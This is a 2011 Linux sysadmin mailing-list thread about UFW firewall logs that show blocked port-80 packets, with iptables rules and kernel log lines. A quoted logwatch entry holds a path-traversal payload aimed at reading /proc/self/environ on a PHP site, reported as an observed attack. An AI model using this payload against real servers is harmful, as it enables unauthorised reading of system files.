* UFW logging
@ 2011-12-20 14:03 Dermot Paikkos
2011-12-20 14:54 ` Marcel Galke - Trans4mation
` (2 more replies)
0 siblings, 3 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 14:03 UTC (permalink / raw)
To: linux-admin
Hi,
I noticed on our company http server that I had a lot of 'probes'. My
logwatch file (text-mode) is 3+MB and rising. I have thousands of
entries in my logwatch reports:
A total of 5711 sites probed the server
1.152.198.116
1.22.185.5
1.23.105.130
1.38.24.232
1.38.25.24
1.39.95.219
1.53.101.185
101.108.239.43
...
...
...
I'm not sure what the above probes are. Any help in understanding the
above would be appreciated.
I also have several entries like this:
A total of 4 possible successful probes were detected (the following
URLs
contain strings that match one or more of a listing of strings that
indicate a possible exploit):
/images/?option=com_sectionex&controller=../../../../../../../../../../.
./../..//proc/self/environ%0000 HTTP Response 200
/?
I believe these are php exploits.
To help secure the server, I installed UFW, enabled and allowed HTTP,
HTTPS and SSH. I then monitored the logs to see what was happening. What
I am not clear on is what service the log entries below refer to.
Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
URGP=0
Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
URGP=0
I am getting an entry like this every 20-30 seconds. Can anyone tell me
what service/port is being blocked in the above log entries?
Below are the rules at the moment.
Thanks in advance,
Dermot
Chain ufw-user-input (1 references)
pkts bytes target prot opt in out source
destination
29164 1620981 ACCEPT tcp -- * * 0.0.0.0/0
0.0.0.0/0 tcp dpt:80 /* 'dapp_Apache' */
5151 299728 ACCEPT tcp -- * * 0.0.0.0/0
0.0.0.0/0 multiport dports 80,443 /* 'dapp_Apache%20Full'
*/
3 180 ACCEPT tcp -- * * 0.0.0.0/0
0.0.0.0/0 tcp dpt:22 /* 'dapp_OpenSSH' */
0 0 REJECT all -- * * 220.162.244.251
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 217.115.199.40
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 93.84.116.216
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 85.10.204.194
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 221.232.155.6
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 122.255.96.164
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 77.240.21.131
0.0.0.0/0 reject-with icmp-port-unreachable
0 0 REJECT all -- * * 83.170.79.6
0.0.0.0/0 reject-with icmp-port-unreachable
Chain ufw-user-forward (1 references)
pkts bytes target prot opt in out source
destination
Chain ufw-user-output (1 references)
pkts bytes target prot opt in out source
destination
Chain ufw-user-limit-accept (0 references)
pkts bytes target prot opt in out source
destination
0 0 ACCEPT all -- * * 0.0.0.0/0
0.0.0.0/0
Chain ufw-user-limit (0 references)
pkts bytes target prot opt in out source
destination
0 0 LOG all -- * * 0.0.0.0/0
0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
prefix `[UFW LIMIT BLOCK] '
0 0 REJECT all -- * * 0.0.0.0/0
0.0.0.0/0 reject-with icmp-port-unreachable
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-20 14:03 UFW logging Dermot Paikkos
@ 2011-12-20 14:54 ` Marcel Galke - Trans4mation
2011-12-20 15:29 ` Dermot Paikkos
2011-12-20 18:30 ` terry white
2011-12-22 15:58 ` UFW logging Saurabh Bathe
2 siblings, 1 reply; 11+ messages in thread
From: Marcel Galke - Trans4mation @ 2011-12-20 14:54 UTC (permalink / raw)
To: linux-admin@vger.kernel.org
Hello Dermot,
as far as I can see, HTTP is blocked (DPT=80).
Why are you using UFW. You've got a DMZ?
Regards Marcel
> -----Original Message-----
> From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> Sent: Tuesday, December 20, 2011 3:03 PM
> To: linux-admin@vger.kernel.org
> Subject: UFW logging
>
> Hi,
>
> I noticed on our company http server that I had a lot of 'probes'. My
> logwatch file (text-mode) is 3+MB and rising. I have thousands of
> entries in my logwatch reports:
>
> A total of 5711 sites probed the server
> 1.152.198.116
> 1.22.185.5
> 1.23.105.130
> 1.38.24.232
> 1.38.25.24
> 1.39.95.219
> 1.53.101.185
> 101.108.239.43
> ...
> ...
> ...
>
> I'm not sure what the above probes are. Any help in understanding the
> above would be appreciated.
>
> I also have several entries like this:
>
> A total of 4 possible successful probes were detected (the following
> URLs
> contain strings that match one or more of a listing of strings that
> indicate a possible exploit):
>
>
> /images/?option=com_sectionex&controller=../../../../../../../../../../.
> ./../..//proc/self/environ%0000 HTTP Response 200
> /?
>
> I believe these are php exploits.
>
> To help secure the server, I installed UFW, enabled and allowed HTTP,
> HTTPS and SSH. I then monitored the logs to see what was happening. What
> I am not clear on is what service the log entries below refer to.
>
>
> Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK
> FIN
> URGP=0
> Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
> URGP=0
>
> I am getting an entry like this every 20-30 seconds. Can anyone tell me
> what service/port is being blocked in the above log entries?
>
> Below are the rules at the moment.
> Thanks in advance,
> Dermot
>
> Chain ufw-user-input (1 references)
> pkts bytes target prot opt in out source
> destination
> 29164 1620981 ACCEPT tcp -- * * 0.0.0.0/0
> 0.0.0.0/0 tcp dpt:80 /* 'dapp_Apache' */
> 5151 299728 ACCEPT tcp -- * * 0.0.0.0/0
> 0.0.0.0/0 multiport dports 80,443 /* 'dapp_Apache%20Full'
> */
> 3 180 ACCEPT tcp -- * * 0.0.0.0/0
> 0.0.0.0/0 tcp dpt:22 /* 'dapp_OpenSSH' */
> 0 0 REJECT all -- * * 220.162.244.251
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 217.115.199.40
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 93.84.116.216
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 85.10.204.194
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 221.232.155.6
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 122.255.96.164
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 77.240.21.131
> 0.0.0.0/0 reject-with icmp-port-unreachable
> 0 0 REJECT all -- * * 83.170.79.6
> 0.0.0.0/0 reject-with icmp-port-unreachable
>
> Chain ufw-user-forward (1 references)
> pkts bytes target prot opt in out source
> destination
>
> Chain ufw-user-output (1 references)
> pkts bytes target prot opt in out source
> destination
>
> Chain ufw-user-limit-accept (0 references)
> pkts bytes target prot opt in out source
> destination
> 0 0 ACCEPT all -- * * 0.0.0.0/0
> 0.0.0.0/0
>
> Chain ufw-user-limit (0 references)
> pkts bytes target prot opt in out source
> destination
> 0 0 LOG all -- * * 0.0.0.0/0
> 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
> prefix `[UFW LIMIT BLOCK] '
> 0 0 REJECT all -- * * 0.0.0.0/0
> 0.0.0.0/0 reject-with icmp-port-unreachable
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-20 14:54 ` Marcel Galke - Trans4mation
@ 2011-12-20 15:29 ` Dermot Paikkos
2011-12-20 15:41 ` Marcel Galke - Trans4mation
0 siblings, 1 reply; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 15:29 UTC (permalink / raw)
To: linux-admin
> -----Original Message-----
>
> Hello Dermot,
>
> as far as I can see, HTTP is blocked (DPT=80).
>
> Why are you using UFW. You've got a DMZ?
>
>
> Regards Marcel
Well I really hope that port 80 is open! I have not heard any complaints
from users and I can still connect.
The command I ran was `ufw allow "Apache Full"`. This should have
enabled the profile for Apache that is stored in
/etc/ufw/applications.d/apache2.2-common.
I am using UFW because I wanted to reject connections from those hosts
that I could find in the httpd logs that were attempt to run the php
exploits, I mentioned. There is a firewall in front of the server. The
rules for the firewall allow all traffic to port 80 but it's not
directly under my control. I thought that UFW would give me finer
control over what hosts could connection.
Are you saying that the log entries I mentioned are for connections to
port 80? Out of 300 log entries, 288 refer to DPT=80.
I thought this rule would allow traffic to port 80:
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 80,443
/* 'dapp_Apache%20Full'
Is it possible that these log entries refer to blocks to port 80 for
some other reason, incomplete packets perhaps?
Thanks,
Dermot.
Here are a few more log entries.:
Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK RST
URGP=0
Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
URGP=0
Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
URGP=0
Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
URGP=0
> > -----Original Message-----
> > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > Sent: Tuesday, December 20, 2011 3:03 PM
> > To: linux-admin@vger.kernel.org
> > Subject: UFW logging
> >
> > Hi,
> >
> > I noticed on our company http server that I had a lot of 'probes'.
My
> > logwatch file (text-mode) is 3+MB and rising. I have thousands of
> > entries in my logwatch reports:
> >
> > A total of 5711 sites probed the server
> > 1.152.198.116
> > 1.22.185.5
> > 1.23.105.130
> > 1.38.24.232
> > 1.38.25.24
> > 1.39.95.219
> > 1.53.101.185
> > 101.108.239.43
> > ...
> > ...
> > ...
> >
> > I'm not sure what the above probes are. Any help in understanding
the
> > above would be appreciated.
> >
> > I also have several entries like this:
> >
> > A total of 4 possible successful probes were detected (the following
> > URLs
> > contain strings that match one or more of a listing of strings that
> > indicate a possible exploit):
> >
> >
> >
>
/images/?option=com_sectionex&controller=../../../../../../../../../../
> .
> > ./../..//proc/self/environ%0000 HTTP Response 200
> > /?
> >
> > I believe these are php exploits.
> >
> > To help secure the server, I installed UFW, enabled and allowed
HTTP,
> > HTTPS and SSH. I then monitored the logs to see what was happening.
> What
> > I am not clear on is what service the log entries below refer to.
> >
> >
> > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK
> > FIN
> > URGP=0
> > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK RST
> > URGP=0
> >
> > I am getting an entry like this every 20-30 seconds. Can anyone tell
> me
> > what service/port is being blocked in the above log entries?
> >
> > Below are the rules at the moment.
> > Thanks in advance,
> > Dermot
> >
> > Chain ufw-user-input (1 references)
> > pkts bytes target prot opt in out source
> > destination
> > 29164 1620981 ACCEPT tcp -- * * 0.0.0.0/0
> > 0.0.0.0/0 tcp dpt:80 /* 'dapp_Apache' */
> > 5151 299728 ACCEPT tcp -- * * 0.0.0.0/0
> > 0.0.0.0/0 multiport dports 80,443 /*
> 'dapp_Apache%20Full'
> > */
> > 3 180 ACCEPT tcp -- * * 0.0.0.0/0
> > 0.0.0.0/0 tcp dpt:22 /* 'dapp_OpenSSH' */
> > 0 0 REJECT all -- * * 220.162.244.251
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 217.115.199.40
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 93.84.116.216
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 85.10.204.194
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 221.232.155.6
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 122.255.96.164
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 77.240.21.131
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > 0 0 REJECT all -- * * 83.170.79.6
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> >
> > Chain ufw-user-forward (1 references)
> > pkts bytes target prot opt in out source
> > destination
> >
> > Chain ufw-user-output (1 references)
> > pkts bytes target prot opt in out source
> > destination
> >
> > Chain ufw-user-limit-accept (0 references)
> > pkts bytes target prot opt in out source
> > destination
> > 0 0 ACCEPT all -- * * 0.0.0.0/0
> > 0.0.0.0/0
> >
> > Chain ufw-user-limit (0 references)
> > pkts bytes target prot opt in out source
> > destination
> > 0 0 LOG all -- * * 0.0.0.0/0
> > 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
> > prefix `[UFW LIMIT BLOCK] '
> > 0 0 REJECT all -- * * 0.0.0.0/0
> > 0.0.0.0/0 reject-with icmp-port-unreachable
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin"
> in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-20 15:29 ` Dermot Paikkos
@ 2011-12-20 15:41 ` Marcel Galke - Trans4mation
2011-12-20 16:32 ` Dermot Paikkos
0 siblings, 1 reply; 11+ messages in thread
From: Marcel Galke - Trans4mation @ 2011-12-20 15:41 UTC (permalink / raw)
To: linux-admin@vger.kernel.org
The lines containing " ... [UFW BLOCK] ...PROTO=TCP SPT=56527 DPT=80 " definitively refer to HTTP, for me.
May be it's the best to inform your security team about your problems. They got better wappons then ufw. ;)
The source IPs are changing quickly, so it's not possible to set a connection limit per host.
Have you set a connection limit for your websites?
Regards Marcel
> -----Original Message-----
> From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> Sent: Tuesday, December 20, 2011 4:30 PM
> To: linux-admin@vger.kernel.org
> Subject: RE: UFW logging
>
> > -----Original Message-----
> >
> > Hello Dermot,
> >
> > as far as I can see, HTTP is blocked (DPT=80).
> >
> > Why are you using UFW. You've got a DMZ?
> >
> >
> > Regards Marcel
>
> Well I really hope that port 80 is open! I have not heard any complaints
> from users and I can still connect.
>
> The command I ran was `ufw allow "Apache Full"`. This should have
> enabled the profile for Apache that is stored in
> /etc/ufw/applications.d/apache2.2-common.
>
> I am using UFW because I wanted to reject connections from those hosts
> that I could find in the httpd logs that were attempt to run the php
> exploits, I mentioned. There is a firewall in front of the server. The
> rules for the firewall allow all traffic to port 80 but it's not
> directly under my control. I thought that UFW would give me finer
> control over what hosts could connection.
>
> Are you saying that the log entries I mentioned are for connections to
> port 80? Out of 300 log entries, 288 refer to DPT=80.
>
> I thought this rule would allow traffic to port 80:
>
> ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 80,443
> /* 'dapp_Apache%20Full'
>
> Is it possible that these log entries refer to blocks to port 80 for
> some other reason, incomplete packets perhaps?
>
> Thanks,
> Dermot.
>
>
> Here are a few more log entries.:
>
> Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK
> RST
> URGP=0
> Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
> ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
> ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
> ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
> ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> URGP=0
> Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
> IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
> ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> URGP=0
>
>
>
>
>
>
> > > -----Original Message-----
> > > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > > Sent: Tuesday, December 20, 2011 3:03 PM
> > > To: linux-admin@vger.kernel.org
> > > Subject: UFW logging
> > >
> > > Hi,
> > >
> > > I noticed on our company http server that I had a lot of 'probes'.
> My
> > > logwatch file (text-mode) is 3+MB and rising. I have thousands of
> > > entries in my logwatch reports:
> > >
> > > A total of 5711 sites probed the server
> > > 1.152.198.116
> > > 1.22.185.5
> > > 1.23.105.130
> > > 1.38.24.232
> > > 1.38.25.24
> > > 1.39.95.219
> > > 1.53.101.185
> > > 101.108.239.43
> > > ...
> > > ...
> > > ...
> > >
> > > I'm not sure what the above probes are. Any help in understanding
> the
> > > above would be appreciated.
> > >
> > > I also have several entries like this:
> > >
> > > A total of 4 possible successful probes were detected (the following
> > > URLs
> > > contain strings that match one or more of a listing of strings that
> > > indicate a possible exploit):
> > >
> > >
> > >
> >
> /images/?option=com_sectionex&controller=../../../../../../../../../../
> > .
> > > ./../..//proc/self/environ%0000 HTTP Response 200
> > > /?
> > >
> > > I believe these are php exploits.
> > >
> > > To help secure the server, I installed UFW, enabled and allowed
> HTTP,
> > > HTTPS and SSH. I then monitored the logs to see what was happening.
> > What
> > > I am not clear on is what service the log entries below refer to.
> > >
> > >
> > > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> > > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00
> ACK
> > > FIN
> > > URGP=0
> > > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=55
> > > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK
> RST
> > > URGP=0
> > >
> > > I am getting an entry like this every 20-30 seconds. Can anyone tell
> > me
> > > what service/port is being blocked in the above log entries?
> > >
> > > Below are the rules at the moment.
> > > Thanks in advance,
> > > Dermot
> > >
> > > Chain ufw-user-input (1 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > > 29164 1620981 ACCEPT tcp -- * * 0.0.0.0/0
> > > 0.0.0.0/0 tcp dpt:80 /* 'dapp_Apache' */
> > > 5151 299728 ACCEPT tcp -- * * 0.0.0.0/0
> > > 0.0.0.0/0 multiport dports 80,443 /*
> > 'dapp_Apache%20Full'
> > > */
> > > 3 180 ACCEPT tcp -- * * 0.0.0.0/0
> > > 0.0.0.0/0 tcp dpt:22 /* 'dapp_OpenSSH' */
> > > 0 0 REJECT all -- * * 220.162.244.251
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 217.115.199.40
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 93.84.116.216
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 85.10.204.194
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 221.232.155.6
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 122.255.96.164
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 77.240.21.131
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > 0 0 REJECT all -- * * 83.170.79.6
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > >
> > > Chain ufw-user-forward (1 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > >
> > > Chain ufw-user-output (1 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > >
> > > Chain ufw-user-limit-accept (0 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > > 0 0 ACCEPT all -- * * 0.0.0.0/0
> > > 0.0.0.0/0
> > >
> > > Chain ufw-user-limit (0 references)
> > > pkts bytes target prot opt in out source
> > > destination
> > > 0 0 LOG all -- * * 0.0.0.0/0
> > > 0.0.0.0/0 limit: avg 3/min burst 5 LOG flags 0 level 4
> > > prefix `[UFW LIMIT BLOCK] '
> > > 0 0 REJECT all -- * * 0.0.0.0/0
> > > 0.0.0.0/0 reject-with icmp-port-unreachable
> > > --
> > > To unsubscribe from this list: send the line "unsubscribe linux-
> > admin" in
> > > the body of a message to majordomo@vger.kernel.org
> > > More majordomo info at http://vger.kernel.org/majordomo-info.html
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-admin"
> > in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at http://vger.kernel.org/majordomo-info.html
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply [flat|nested] 11+ messages in thread
* RE: UFW logging
2011-12-20 15:41 ` Marcel Galke - Trans4mation
@ 2011-12-20 16:32 ` Dermot Paikkos
0 siblings, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 16:32 UTC (permalink / raw)
To: linux-admin
Well if there is a security team, then I am it :)
Yes the IP does change. The MAC address is consistent but I am guessing
that this refers to eth0 on the server.
I am not sure what sort of connection limit you mean. One that is set on
the httpd server on somewhere else?
This rule 'should' allow port 80 and 443 through though!
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 80,443 /*
'dapp_Apache%20Full'
so I don't know why the are log entries that say port 80 is blocked.
Like I said, I have not heard from anyone that they cannot connect to
the site either. Perhaps I should increase the log level in case that
gives me more details.
Dp.
> -----Original Message-----
> From: Marcel Galke - Trans4mation
[mailto:Marcel.Galke@trans4mation.de]
